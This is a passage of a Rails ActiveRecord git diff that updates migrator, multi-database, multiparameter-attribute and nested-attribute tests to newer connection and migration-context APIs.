+    assert_equal 0, migrator.current_version
 
-    ActiveRecord::Migrator.new(:up, migrations, 1).run
+    migrator.run
     assert_equal [[:up, 1]], calls
     calls.clear
 
-    ActiveRecord::Migrator.new(:down, migrations, 1).run
+    migrator = ActiveRecord::Migrator.new(:down, migrations, @schema_migration, @internal_metadata, 1)
+    migrator.run
     assert_equal [[:down, 1]], calls
     calls.clear
 
-    ActiveRecord::Migrator.new(:down, migrations, 1).run
+    migrator.run
     assert_equal [], calls
 
-    assert_equal(0, ActiveRecord::Migrator.current_version)
+    assert_equal 0, migrator.current_version
   end
 
   def test_migrator_verbosity
     _, migrations = sensors(3)
 
-    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    ActiveRecord::Migration.verbose = true
+    ActiveRecord::Migrator.new(:up, migrations, @schema_migration, @internal_metadata, 1).migrate
     assert_not_equal 0, ActiveRecord::Migration.message_count
 
     ActiveRecord::Migration.message_count = 0
 
-    ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+    ActiveRecord::Migrator.new(:down, migrations, @schema_migration, @internal_metadata, 0).migrate
     assert_not_equal 0, ActiveRecord::Migration.message_count
   end
 
   def test_migrator_verbosity_off
     _, migrations = sensors(3)
 
-    ActiveRecord::Migration.message_count = 0
     ActiveRecord::Migration.verbose = false
-    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    ActiveRecord::Migrator.new(:up, migrations, @schema_migration, @internal_metadata, 1).migrate
     assert_equal 0, ActiveRecord::Migration.message_count
-    ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+    ActiveRecord::Migrator.new(:down, migrations, @schema_migration, @internal_metadata, 0).migrate
     assert_equal 0, ActiveRecord::Migration.message_count
   end
 
@@ -262,120 +389,137 @@ def test_target_version_zero_should_run_only_once
     calls, migrations = sensors(3)
 
     # migrate up to 1
-    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    ActiveRecord::Migrator.new(:up, migrations, @schema_migration, @internal_metadata, 1).migrate
     assert_equal [[:up, 1]], calls
     calls.clear
 
     # migrate down to 0
-    ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+    ActiveRecord::Migrator.new(:down, migrations, @schema_migration, @internal_metadata, 0).migrate
     assert_equal [[:down, 1]], calls
     calls.clear
 
     # migrate down to 0 again
-    ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+    ActiveRecord::Migrator.new(:down, migrations, @schema_migration, @internal_metadata, 0).migrate
     assert_equal [], calls
   end
 
   def test_migrator_going_down_due_to_version_target
+    schema_migration = ActiveRecord::Base.connection_pool.schema_migration
     calls, migrator = migrator_class(3)
+    migrator = migrator.new("valid", schema_migration)
 
-    migrator.up("valid", 1)
+    migrator.up(1)
     assert_equal [[:up, 1]], calls
     calls.clear
 
-    migrator.migrate("valid", 0)
+    migrator.migrate(0)
     assert_equal [[:down, 1]], calls
     calls.clear
 
-    migrator.migrate("valid")
+    migrator.migrate
     assert_equal [[:up, 1], [:up, 2], [:up, 3]], calls
   end
 
   def test_migrator_output_when_running_multiple_migrations
+    schema_migration = ActiveRecord::Base.connection_pool.schema_migration
     _, migrator = migrator_class(3)
+    migrator = migrator.new("valid", schema_migration)
 
-    result = migrator.migrate("valid")
+    result = migrator.migrate
     assert_equal(3, result.count)
 
     # Nothing migrated from duplicate run
-    result = migrator.migrate("valid")
+    result = migrator.migrate
     assert_equal(0, result.count)
 
-    result = migrator.rollback("valid")
+    result = migrator.rollback
     assert_equal(1, result.count)
   end
 
   def test_migrator_output_when_running_single_migration
+    schema_migration = ActiveRecord::Base.connection_pool.schema_migration
     _, migrator = migrator_class(1)
-    result = migrator.run(:up, "valid", 1)
+    migrator = migrator.new("valid", schema_migration)
 
-    assert_equal(1, result.version)
+    result = migrator.run(:up, 1)
+
+    assert_equal("1", result)
   end
 
   def test_migrator_rollback
+    schema_migration = ActiveRecord::Base.connection_pool.schema_migration
     _, migrator = migrator_class(3)
+    migrator = migrator.new("valid", schema_migration)
 
-    migrator.migrate("valid")
-    assert_equal(3, ActiveRecord::Migrator.current_version)
+    migrator.migrate
+    assert_equal(3, migrator.current_version)
 
-    migrator.rollback("valid")
-    assert_equal(2, ActiveRecord::Migrator.current_version)
+    migrator.rollback
+    assert_equal(2, migrator.current_version)
 
-    migrator.rollback("valid")
-    assert_equal(1, ActiveRecord::Migrator.current_version)
+    migrator.rollback
+    assert_equal(1, migrator.current_version)
 
-    migrator.rollback("valid")
-    assert_equal(0, ActiveRecord::Migrator.current_version)
+    migrator.rollback
+    assert_equal(0, migrator.current_version)
 
-    migrator.rollback("valid")
-    assert_equal(0, ActiveRecord::Migrator.current_version)
+    migrator.rollback
+    assert_equal(0, migrator.current_version)
   end
 
   def test_migrator_db_has_no_schema_migrations_table
+    schema_migration = ActiveRecord::Base.connection_pool.schema_migration
     _, migrator = migrator_class(3)
+    migrator = migrator.new("valid", schema_migration)
 
-    ActiveRecord::Base.connection.drop_table "schema_migrations", if_exists: true
-    assert_not ActiveRecord::Base.connection.table_exists?("schema_migrations")
-    migrator.migrate("valid", 1)
-    assert ActiveRecord::Base.connection.table_exists?("schema_migrations")
+    @schema_migration.drop_table
+    assert_not_predicate @schema_migration, :table_exists?
+    migrator.migrate(1)
+    assert_predicate @schema_migration, :table_exists?
   end
 
   def test_migrator_forward
+    schema_migration = ActiveRecord::Base.connection_pool.schema_migration
     _, migrator = migrator_class(3)
-    migrator.migrate("/valid", 1)
-    assert_equal(1, ActiveRecord::Migrator.current_version)
+    migrator = migrator.new("/valid", schema_migration)
+    migrator.migrate(1)
+    assert_equal(1, migrator.current_version)
 
-    migrator.forward("/valid", 2)
-    assert_equal(3, ActiveRecord::Migrator.current_version)
+    migrator.forward(2)
+    assert_equal(3, migrator.current_version)
 
-    migrator.forward("/valid")
-    assert_equal(3, ActiveRecord::Migrator.current_version)
+    migrator.forward
+    assert_equal(3, migrator.current_version)
   end
 
   def test_only_loads_pending_migrations
     # migrate up to 1
-    ActiveRecord::SchemaMigration.create!(version: "1")
+    @schema_migration.create_version("1")
 
+    schema_migration = ActiveRecord::Base.connection_pool.schema_migration
     calls, migrator = migrator_class(3)
-    migrator.migrate("valid", nil)
+    migrator = migrator.new("valid", schema_migration)
+    migrator.migrate
 
     assert_equal [[:up, 2], [:up, 3]], calls
   end
 
   def test_get_all_versions
+    schema_migration = ActiveRecord::Base.connection_pool.schema_migration
     _, migrator = migrator_class(3)
+    migrator = migrator.new("valid", schema_migration)
 
-    migrator.migrate("valid")
-    assert_equal([1, 2, 3], ActiveRecord::Migrator.get_all_versions)
+    migrator.migrate
+    assert_equal([1, 2, 3], migrator.get_all_versions)
 
-    migrator.rollback("valid")
-    assert_equal([1, 2], ActiveRecord::Migrator.get_all_versions)
+    migrator.rollback
+    assert_equal([1, 2], migrator.get_all_versions)
 
-    migrator.rollback("valid")
-    assert_equal([1], ActiveRecord::Migrator.get_all_versions)
+    migrator.rollback
+    assert_equal([1], migrator.get_all_versions)
 
-    migrator.rollback("valid")
-    assert_equal([], ActiveRecord::Migrator.get_all_versions)
+    migrator.rollback
+    assert_equal([], migrator.get_all_versions)
   end
 
   private
@@ -400,11 +544,11 @@ def sensors(count)
     def migrator_class(count)
       calls, migrations = sensors(count)
 
-      migrator = Class.new(ActiveRecord::Migrator).extend(Module.new {
-        define_method(:migrations) { |paths|
+      migrator = Class.new(ActiveRecord::MigrationContext) {
+        define_method(:migrations) { |*|
           migrations
         }
-      })
+      }
       [calls, migrator]
     end
 end
diff --git a/activerecord/test/cases/mixin_test.rb b/activerecord/test/cases/mixin_test.rb
index a8af8e30f7467..fdb8ac6ab3764 100644
--- a/activerecord/test/cases/mixin_test.rb
+++ b/activerecord/test/cases/mixin_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class Mixin < ActiveRecord::Base
@@ -10,10 +12,6 @@ class TouchTest < ActiveRecord::TestCase
     travel_to Time.now
   end
 
-  teardown do
-    travel_back
-  end
-
   def test_update
     stamped = Mixin.new
 
diff --git a/activerecord/test/cases/modules_test.rb b/activerecord/test/cases/modules_test.rb
index f8a7bab35f60c..842de49fcd61c 100644
--- a/activerecord/test/cases/modules_test.rb
+++ b/activerecord/test/cases/modules_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/company_in_module"
 require "models/shop"
@@ -22,7 +24,7 @@ def setup
   teardown do
     # reinstate the constants that we undefined in the setup
     @undefined_consts.each do |constant, value|
-      Object.send :const_set, constant, value unless value.nil?
+      Object.const_set constant, value unless value.nil?
     end
 
     ActiveRecord::Base.store_full_sti_class = true
@@ -30,7 +32,7 @@ def setup
 
   def test_module_spanning_associations
     firm = MyApplication::Business::Firm.first
-    assert !firm.clients.empty?, "Firm should have clients"
+    assert_not firm.clients.empty?, "Firm should have clients"
     assert_nil firm.class.table_name.match("::"), "Firm shouldn't have the module appear in its table name"
   end
 
@@ -153,7 +155,7 @@ def test_nested_models_should_not_raise_exception_when_using_delete_all_dependen
     ActiveRecord::Base.store_full_sti_class = true
 
     collection = Shop::Collection.first
-    assert !collection.products.empty?, "Collection should have products"
+    assert_not collection.products.empty?, "Collection should have products"
     assert_nothing_raised { collection.destroy }
   ensure
     ActiveRecord::Base.store_full_sti_class = old
@@ -164,7 +166,7 @@ def test_nested_models_should_not_raise_exception_when_using_nullify_dependency_
     ActiveRecord::Base.store_full_sti_class = true
 
     product = Shop::Product.first
-    assert !product.variants.empty?, "Product should have variants"
+    assert_not product.variants.empty?, "Product should have variants"
     assert_nothing_raised { product.destroy }
   ensure
     ActiveRecord::Base.store_full_sti_class = old
diff --git a/activerecord/test/cases/multi_db_migrator_test.rb b/activerecord/test/cases/multi_db_migrator_test.rb
new file mode 100644
index 0000000000000..5a610e6e664b7
--- /dev/null
+++ b/activerecord/test/cases/multi_db_migrator_test.rb
@@ -0,0 +1,239 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "cases/migration/helper"
+
+class MultiDbMigratorTest < ActiveRecord::TestCase
+  # Use this class to sense if migrations have gone
+  # up or down.
+  class Sensor < ActiveRecord::Migration::Current
+    attr_reader :went_up, :went_down
+
+    def initialize(name = self.class.name, version = nil)
+      super
+      @went_up = false
+      @went_down = false
+    end
+
+    def up; @went_up = true; end
+    def down; @went_down = true; end
+  end
+
+  def setup
+    super
+    @pool_a = ActiveRecord::Base.connection_pool
+    @pool_b = ARUnit2Model.connection_pool
+
+    @pool_a.schema_migration.create_table
+    @pool_b.schema_migration.create_table
+
+    @pool_a.schema_migration.delete_all_versions rescue nil
+    @pool_b.schema_migration.delete_all_versions rescue nil
+
+    @path_a = MIGRATIONS_ROOT + "/valid"
+    @path_b = MIGRATIONS_ROOT + "/to_copy"
+
+    @schema_migration_a = @pool_a.schema_migration
+    @internal_metadata_a = @pool_a.internal_metadata
+    @migrations_a = ActiveRecord::MigrationContext.new(@path_a, @schema_migration_a, @internal_metadata_a).migrations
+
+    @schema_migration_b = @pool_b.schema_migration
+    @internal_metadata_b = @pool_b.internal_metadata
+    @migrations_b = ActiveRecord::MigrationContext.new(@path_b, @schema_migration_b, @internal_metadata_b).migrations
+
+    @migrations_a_list = [[1, "ValidPeopleHaveLastNames"], [2, "WeNeedReminders"], [3, "InnocentJointable"]]
+    @migrations_b_list = [[1, "PeopleHaveHobbies"], [2, "PeopleHaveDescriptions"]]
+
+    @verbose_was = ActiveRecord::Migration.verbose
+
+    ActiveRecord::Migration.message_count = 0
+    ActiveRecord::Migration.class_eval do
+      undef :puts
+      def puts(*)
+        ActiveRecord::Migration.message_count += 1
+      end
+    end
+  end
+
+  teardown do
+    @pool_q.schema_migration.delete_all_versions rescue nil
+    @pool_b.schema_migration.delete_all_versions rescue nil
+
+    ActiveRecord::Migration.verbose = @verbose_was
+    ActiveRecord::Migration.class_eval do
+      undef :puts
+      def puts(*)
+        super
+      end
+    end
+  end
+
+  def test_schema_migration_is_different_for_different_connections
+    assert_not_equal @schema_migration_a, @schema_migration_b
+    assert_not_equal @schema_migration_a.instance_variable_get(:@pool), @schema_migration_b.instance_variable_get(:@pool)
+    assert_equal "ActiveRecord::Base", @pool_a.pool_config.connection_descriptor.name
+    assert_equal "ARUnit2Model", @pool_b.pool_config.connection_descriptor.name
+  end
+
+  def test_finds_migrations
+    @migrations_a_list.each_with_index do |pair, i|
+      assert_equal @migrations_a[i].version, pair.first
+      assert_equal @migrations_a[i].name, pair.last
+    end
+
+    @migrations_b_list.each_with_index do |pair, i|
+      assert_equal @migrations_b[i].version, pair.first
+      assert_equal @migrations_b[i].name, pair.last
+    end
+  end
+
+  def test_migrations_status
+    @schema_migration_a.create_version(2)
+    @schema_migration_a.create_version(10)
+
+    assert_equal [
+      ["down", "001", "Valid people have last names"],
+      ["up",   "002", "We need reminders"],
+      ["down", "003", "Innocent jointable"],
+      ["up",   "010", "********** NO FILE **********"],
+    ], ActiveRecord::MigrationContext.new(@path_a, @schema_migration_a, @internal_metadata_a).migrations_status
+
+    @schema_migration_b.create_version(4)
+
+    assert_equal [
+      ["down", "001", "People have hobbies"],
+      ["down", "002", "People have descriptions"],
+      ["up", "004", "********** NO FILE **********"]
+    ], ActiveRecord::MigrationContext.new(@path_b, @schema_migration_b, @internal_metadata_b).migrations_status
+  end
+
+  def test_get_all_versions
+    _, migrator_a = migrator_class(3)
+    migrator_a = migrator_a.new(@path_a, @schema_migration_a)
+
+    migrator_a.migrate
+    assert_equal([1, 2, 3], migrator_a.get_all_versions)
+
+    migrator_a.rollback
+    assert_equal([1, 2], migrator_a.get_all_versions)
+
+    migrator_a.rollback
+    assert_equal([1], migrator_a.get_all_versions)
+
+    migrator_a.rollback
+    assert_equal([], migrator_a.get_all_versions)
+
+    _, migrator_b = migrator_class(2)
+    migrator_b = migrator_b.new(@path_b, @schema_migration_b)
+
+    migrator_b.migrate
+    assert_equal([1, 2], migrator_b.get_all_versions)
+
+    migrator_b.rollback
+    assert_equal([1], migrator_b.get_all_versions)
+
+    migrator_b.rollback
+    assert_equal([], migrator_b.get_all_versions)
+  end
+
+  def test_finds_pending_migrations
+    @schema_migration_a.create_version("1")
+    migration_list_a = [ActiveRecord::Migration.new("foo", 1), ActiveRecord::Migration.new("bar", 3)]
+    migrations_a = ActiveRecord::Migrator.new(:up, migration_list_a, @schema_migration_a, @internal_metadata_a).pending_migrations
+
+    assert_equal 1, migrations_a.size
+    assert_equal migration_list_a.last, migrations_a.first
+
+    @schema_migration_b.create_version("1")
+    migration_list_b = [ActiveRecord::Migration.new("foo", 1), ActiveRecord::Migration.new("bar", 3)]
+    migrations_b = ActiveRecord::Migrator.new(:up, migration_list_b, @schema_migration_b, @internal_metadata_b).pending_migrations
+
+    assert_equal 1, migrations_b.size
+    assert_equal migration_list_b.last, migrations_b.first
+  end
+
+  def test_migrator_db_has_no_schema_migrations_table
+    _, migrator = migrator_class(3)
+    migrator = migrator.new(@path_a, @schema_migration_a, @internal_metadata_a)
+
+    @schema_migration_a.drop_table
+    assert_not @pool_a.lease_connection.table_exists?("schema_migrations")
+    migrator.migrate(1)
+    assert @pool_a.lease_connection.table_exists?("schema_migrations")
+    migrator.rollback
+
+    _, migrator = migrator_class(3)
+    migrator = migrator.new(@path_b, @schema_migration_b, @internal_metadata_b)
+
+    @schema_migration_b.drop_table
+    assert_not @pool_b.lease_connection.table_exists?("schema_migrations")
+    migrator.migrate(1)
+    assert @pool_b.lease_connection.table_exists?("schema_migrations")
+    migrator.rollback
+  end
+
+  def test_migrator_forward
+    _, migrator = migrator_class(3)
+    migrator = migrator.new(@path_a, @schema_migration_a, @internal_metadata_a)
+    migrator.migrate(1)
+    assert_equal(1, migrator.current_version)
+
+    migrator.forward(2)
+    assert_equal(3, migrator.current_version)
+
+    migrator.forward
+    assert_equal(3, migrator.current_version)
+
+    _, migrator_b = migrator_class(3)
+    migrator_b = migrator_b.new(@path_b, @schema_migration_b, @internal_metadata_b)
+    migrator_b.migrate(1)
+    assert_equal(1, migrator_b.current_version)
+
+    migrator_b.forward(2)
+    assert_equal(3, migrator_b.current_version)
+
+    migrator_b.forward
+    assert_equal(3, migrator_b.current_version)
+  end
+
+  def test_internal_metadata_stores_environment
+    current_env     = ActiveRecord::Base.lease_connection.pool.db_config.env_name
+    migrations_path = MIGRATIONS_ROOT + "/valid"
+    migrator = ActiveRecord::MigrationContext.new(migrations_path, @schema_migration_b, @internal_metadata_b)
+
+    migrator.up
+    assert_equal current_env, @internal_metadata_b[:environment]
+  ensure
+    migrator.down if migrator
+  end
+
+  private
+    def m(name, version)
+      x = Sensor.new name, version
+      x.extend(Module.new {
+        define_method(:up) { yield(:up, x); super() }
+        define_method(:down) { yield(:down, x); super() }
+      }) if block_given?
+    end
+
+    def sensors(count)
+      calls = []
+      migrations = count.times.map { |i|
+        m(nil, i + 1) { |c, migration|
+          calls << [c, migration.version]
+        }
+      }
+      [calls, migrations]
+    end
+
+    def migrator_class(count)
+      calls, migrations = sensors(count)
+
+      migrator = Class.new(ActiveRecord::MigrationContext) {
+        define_method(:migrations) { |*|
+          migrations
+        }
+      }
+      [calls, migrator]
+    end
+end
diff --git a/activerecord/test/cases/multiparameter_attributes_test.rb b/activerecord/test/cases/multiparameter_attributes_test.rb
index ceb5724377ed1..e7880e4a10517 100644
--- a/activerecord/test/cases/multiparameter_attributes_test.rb
+++ b/activerecord/test/cases/multiparameter_attributes_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
 require "models/customer"
@@ -105,8 +107,8 @@ def test_multiparameter_attributes_on_time_with_old_date
     }
     topic = Topic.find(1)
     topic.attributes = attributes
-    # testing against to_s(:db) representation because either a Time or a DateTime might be returned, depending on platform
-    assert_equal "1850-06-24 16:24:00", topic.written_on.to_s(:db)
+    # testing against to_fs(:db) representation because either a Time or a DateTime might be returned, depending on platform
+    assert_equal "1850-06-24 16:24:00", topic.written_on.to_fs(:db)
   end
 
   def test_multiparameter_attributes_on_time_will_raise_on_big_time_if_missing_date_parts
@@ -225,7 +227,7 @@ def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes_false
       topic = Topic.find(1)
       topic.attributes = attributes
       assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
-      assert_equal false, topic.written_on.respond_to?(:time_zone)
+      assert_not_respond_to topic.written_on, :time_zone
     end
   end
 
@@ -240,37 +242,40 @@ def test_multiparameter_attributes_on_time_with_skip_time_zone_conversion_for_at
       topic = Topic.find(1)
       topic.attributes = attributes
       assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
-      assert_equal false, topic.written_on.respond_to?(:time_zone)
+      assert_not_respond_to topic.written_on, :time_zone
     end
   ensure
     Topic.skip_time_zone_conversion_for_attributes = []
     Topic.reset_column_information
   end
 
-  # Oracle does not have a TIME datatype.
-  unless current_adapter?(:OracleAdapter)
-    def test_multiparameter_attributes_on_time_only_column_with_time_zone_aware_attributes_does_not_do_time_zone_conversion
-      with_timezone_config default: :utc, aware_attributes: true, zone: -28800 do
-        Topic.reset_column_information
-        attributes = {
-          "bonus_time(1i)" => "2000", "bonus_time(2i)" => "1", "bonus_time(3i)" => "1",
-          "bonus_time(4i)" => "16", "bonus_time(5i)" => "24"
-        }
-        topic = Topic.find(1)
-        topic.attributes = attributes
-        assert_equal Time.zone.local(2000, 1, 1, 16, 24, 0), topic.bonus_time
-        assert_not topic.bonus_time.utc?
-
-        attributes = {
-          "written_on(1i)" => "2000", "written_on(2i)" => "", "written_on(3i)" => "",
-          "written_on(4i)" => "", "written_on(5i)" => ""
-        }
-        topic.attributes = attributes
-        assert_nil topic.written_on
-      end
-    ensure
+  def test_multiparameter_attributes_on_time_only_column_with_time_zone_aware_attributes_does_not_do_time_zone_conversion
+    with_timezone_config default: :utc, aware_attributes: true, zone: -28800 do
       Topic.reset_column_information
+      attributes = {
+        "bonus_time(1i)" => "2000", "bonus_time(2i)" => "1", "bonus_time(3i)" => "1",
+        "bonus_time(4i)" => "16", "bonus_time(5i)" => "24"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.zone.local(2000, 1, 1, 16, 24, 0), topic.bonus_time
+      assert_not_predicate topic.bonus_time, :utc?
+
+      attributes = {
+        "written_on(1i)" => "2000", "written_on(2i)" => "", "written_on(3i)" => "",
+        "written_on(4i)" => "", "written_on(5i)" => ""
+      }
+      topic.attributes = attributes
+      assert_nil topic.written_on
     end
+  ensure
+    Topic.reset_column_information
+  end
+
+  def test_multiparameter_attributes_setting_time_attribute
+    topic = Topic.new("bonus_time(4i)" => "01", "bonus_time(5i)" => "05")
+    assert_equal 1, topic.bonus_time.hour
+    assert_equal 5, topic.bonus_time.min
   end
 
   def test_multiparameter_attributes_on_time_with_empty_seconds
@@ -285,14 +290,6 @@ def test_multiparameter_attributes_on_time_with_empty_seconds
     end
   end
 
-  unless current_adapter? :OracleAdapter
-    def test_multiparameter_attributes_setting_time_attribute
-      topic = Topic.new("bonus_time(4i)" => "01", "bonus_time(5i)" => "05")
-      assert_equal 1, topic.bonus_time.hour
-      assert_equal 5, topic.bonus_time.min
-    end
-  end
-
   def test_multiparameter_attributes_setting_date_attribute
     topic = Topic.new("written_on(1i)" => "1952", "written_on(2i)" => "3", "written_on(3i)" => "11")
     assert_equal 1952, topic.written_on.year
@@ -300,13 +297,34 @@ def test_multiparameter_attributes_setting_date_attribute
     assert_equal 11, topic.written_on.day
   end
 
+  def test_create_with_multiparameter_attributes_setting_date_attribute
+    topic = Topic.create_with("written_on(1i)" => "1952", "written_on(2i)" => "3", "written_on(3i)" => "11").new
+    assert_equal 1952, topic.written_on.year
+    assert_equal 3, topic.written_on.month
+    assert_equal 11, topic.written_on.day
+  end
+
   def test_multiparameter_attributes_setting_date_and_time_attribute
     topic = Topic.new(
-        "written_on(1i)" => "1952",
-        "written_on(2i)" => "3",
-        "written_on(3i)" => "11",
-        "written_on(4i)" => "13",
-        "written_on(5i)" => "55")
+      "written_on(1i)" => "1952",
+      "written_on(2i)" => "3",
+      "written_on(3i)" => "11",
+      "written_on(4i)" => "13",
+      "written_on(5i)" => "55")
+    assert_equal 1952, topic.written_on.year
+    assert_equal 3, topic.written_on.month
+    assert_equal 11, topic.written_on.day
+    assert_equal 13, topic.written_on.hour
+    assert_equal 55, topic.written_on.min
+  end
+
+  def test_create_with_multiparameter_attributes_setting_date_and_time_attribute
+    topic = Topic.create_with(
+      "written_on(1i)" => "1952",
+      "written_on(2i)" => "3",
+      "written_on(3i)" => "11",
+      "written_on(4i)" => "13",
+      "written_on(5i)" => "55").new
     assert_equal 1952, topic.written_on.year
     assert_equal 3, topic.written_on.month
     assert_equal 11, topic.written_on.day
@@ -364,4 +382,15 @@ def test_multiparameter_assignment_of_aggregation_with_large_index
 
     assert_equal("address", ex.errors[0].attribute)
   end
+
+  def test_multiparameter_assigned_attributes_did_not_come_from_user
+    topic = Topic.new(
+      "written_on(1i)" => "1952",
+      "written_on(2i)" => "3",
+      "written_on(3i)" => "11",
+      "written_on(4i)" => "13",
+      "written_on(5i)" => "55",
+    )
+    assert_not_predicate topic, :written_on_came_from_user?
+  end
 end
diff --git a/activerecord/test/cases/multiple_db_test.rb b/activerecord/test/cases/multiple_db_test.rb
index e3bb51bd775da..f30af0a1d3d71 100644
--- a/activerecord/test/cases/multiple_db_test.rb
+++ b/activerecord/test/cases/multiple_db_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/entrant"
 require "models/bird"
@@ -7,26 +9,26 @@ class MultipleDbTest < ActiveRecord::TestCase
   self.use_transactional_tests = false
 
   def setup
-    @courses  = create_fixtures("courses") { Course.retrieve_connection }
-    @colleges = create_fixtures("colleges") { College.retrieve_connection }
+    @courses  = create_fixtures("courses")
+    @colleges = create_fixtures("colleges")
     @entrants = create_fixtures("entrants")
   end
 
   def test_connected
-    assert_not_nil Entrant.connection
-    assert_not_nil Course.connection
+    assert_not_nil Entrant.lease_connection
+    assert_not_nil Course.lease_connection
   end
 
   def test_proper_connection
-    assert_not_equal(Entrant.connection, Course.connection)
-    assert_equal(Entrant.connection, Entrant.retrieve_connection)
-    assert_equal(Course.connection, Course.retrieve_connection)
-    assert_equal(ActiveRecord::Base.connection, Entrant.connection)
+    assert_not_equal(Entrant.lease_connection, Course.lease_connection)
+    assert_equal(Entrant.lease_connection, Entrant.retrieve_connection)
+    assert_equal(Course.lease_connection, Course.retrieve_connection)
+    assert_equal(ActiveRecord::Base.lease_connection, Entrant.lease_connection)
   end
 
   def test_swapping_the_connection
-    old_spec_name, Course.connection_specification_name = Course.connection_specification_name, "primary"
-    assert_equal(Entrant.connection, Course.connection)
+    old_spec_name, Course.connection_specification_name = Course.connection_specification_name, "ActiveRecord::Base"
+    assert_equal(Entrant.lease_connection, Course.lease_connection)
   ensure
     Course.connection_specification_name = old_spec_name
   end
@@ -55,14 +57,13 @@ def test_associations
     assert_equal e3.course.id, c2.id
   end
 
-  def test_course_connection_should_survive_dependency_reload
-    assert Course.connection
+  def test_course_connection_should_survive_reloads
+    assert Course.lease_connection
 
-    ActiveSupport::Dependencies.clear
-    Object.send(:remove_const, :Course)
-    require_dependency "models/course"
+    assert Object.send(:remove_const, :Course)
+    assert load("models/course.rb")
 
-    assert Course.connection
+    assert Course.lease_connection
   end
 
   def test_transactions_across_databases
@@ -90,33 +91,49 @@ def test_transactions_across_databases
     assert_equal "Ruby Developer", Entrant.find(1).name
   end
 
-  def test_arel_table_engines
-    assert_not_equal Entrant.arel_engine, Bird.arel_engine
-    assert_not_equal Entrant.arel_engine, Course.arel_engine
-  end
-
   def test_connection
-    assert_equal Entrant.arel_engine.connection.object_id, Bird.arel_engine.connection.object_id
-    assert_not_equal Entrant.arel_engine.connection.object_id, Course.arel_engine.connection.object_id
+    assert_same Entrant.lease_connection, Bird.lease_connection
+    assert_not_same Entrant.lease_connection, Course.lease_connection
   end
 
   unless in_memory_db?
     def test_count_on_custom_connection
-      ActiveRecord::Base.remove_connection
+      assert_equal ARUnit2Model.lease_connection, College.lease_connection
+      assert_not_equal ActiveRecord::Base.lease_connection, College.lease_connection
       assert_equal 1, College.count
-    ensure
-      ActiveRecord::Base.establish_connection :arunit
     end
 
     def test_associations_should_work_when_model_has_no_connection
-      begin
-        ActiveRecord::Base.remove_connection
-        assert_nothing_raised do
-          College.first.courses.first
-        end
-      ensure
-        ActiveRecord::Base.establish_connection :arunit
+      assert_nothing_raised do
+        College.first.courses.first
       end
     end
   end
+
+  def test_exception_contains_connection_pool
+    error = assert_raises(ActiveRecord::StatementInvalid) do
+      Course.where(wrong_column: "wrong").first!
+    end
+
+    assert_equal Course.lease_connection.pool, error.connection_pool
+  end
+
+  def test_exception_contains_correct_pool
+    course_conn = Course.lease_connection
+    entrant_conn = Entrant.lease_connection
+
+    assert_not_equal course_conn, entrant_conn
+
+    course_error = assert_raises(ActiveRecord::StatementInvalid) do
+      course_conn.execute("SELECT * FROM entrants")
+    end
+
+    assert_equal course_conn.pool, course_error.connection_pool
+
+    entrant_error = assert_raises(ActiveRecord::StatementInvalid) do
+      entrant_conn.execute("SELECT * FROM courses")
+    end
+
+    assert_equal entrant_conn.pool, entrant_error.connection_pool
+  end
 end
diff --git a/activerecord/test/cases/nested_attributes_test.rb b/activerecord/test/cases/nested_attributes_test.rb
index b87419d203cb1..3c2c40e11fec6 100644
--- a/activerecord/test/cases/nested_attributes_test.rb
+++ b/activerecord/test/cases/nested_attributes_test.rb
@@ -1,14 +1,23 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "support/deprecated_associations_test_helpers"
 require "models/pirate"
+require "models/developer"
 require "models/ship"
 require "models/ship_part"
 require "models/bird"
 require "models/parrot"
 require "models/treasure"
-require "models/man"
+require "models/human"
 require "models/interest"
 require "models/owner"
 require "models/pet"
+require "models/entry"
+require "models/message"
+require "models/cpk"
+require "models/car"
+require "models/dats"
 require "active_support/hash_with_indifferent_access"
 
 class TestNestedAttributesInGeneral < ActiveRecord::TestCase
@@ -34,7 +43,7 @@ def test_should_not_build_a_new_record_using_reject_all_even_if_destroy_is_given
     pirate.birds_with_reject_all_blank_attributes = [{ name: "", color: "", _destroy: "0" }]
     pirate.save!
 
-    assert pirate.birds_with_reject_all_blank.empty?
+    assert_empty pirate.birds_with_reject_all_blank
   end
 
   def test_should_not_build_a_new_record_if_reject_all_blank_returns_false
@@ -42,7 +51,7 @@ def test_should_not_build_a_new_record_if_reject_all_blank_returns_false
     pirate.birds_with_reject_all_blank_attributes = [{ name: "", color: "" }]
     pirate.save!
 
-    assert pirate.birds_with_reject_all_blank.empty?
+    assert_empty pirate.birds_with_reject_all_blank
   end
 
   def test_should_build_a_new_record_if_reject_all_blank_does_not_return_false
@@ -65,7 +74,7 @@ def test_should_raise_an_UnknownAttributeError_for_non_existing_nested_attribute
     exception = assert_raise ActiveModel::UnknownAttributeError do
       Pirate.new(ship_attributes: { sail: true })
     end
-    assert_equal "unknown attribute 'sail' for Ship.", exception.message
+    assert_match "unknown attribute 'sail' for Ship.", exception.message
   end
 
   def test_should_disable_allow_destroy_by_default
@@ -81,7 +90,7 @@ def test_should_disable_allow_destroy_by_default
 
   def test_a_model_should_respond_to_underscore_destroy_and_return_if_it_is_marked_for_destruction
     ship = Ship.create!(name: "Nights Dirty Lightning")
-    assert !ship._destroy
+    assert_not ship._destroy
     ship.mark_for_destruction
     assert ship._destroy
   end
@@ -117,7 +126,7 @@ def test_reject_if_with_indifferent_keys
 
   def test_reject_if_with_a_proc_which_returns_true_always_for_has_one
     Pirate.accepts_nested_attributes_for :ship, reject_if: proc { |attributes| true }
-    pirate = Pirate.new(catchphrase: "Stop wastin' me time")
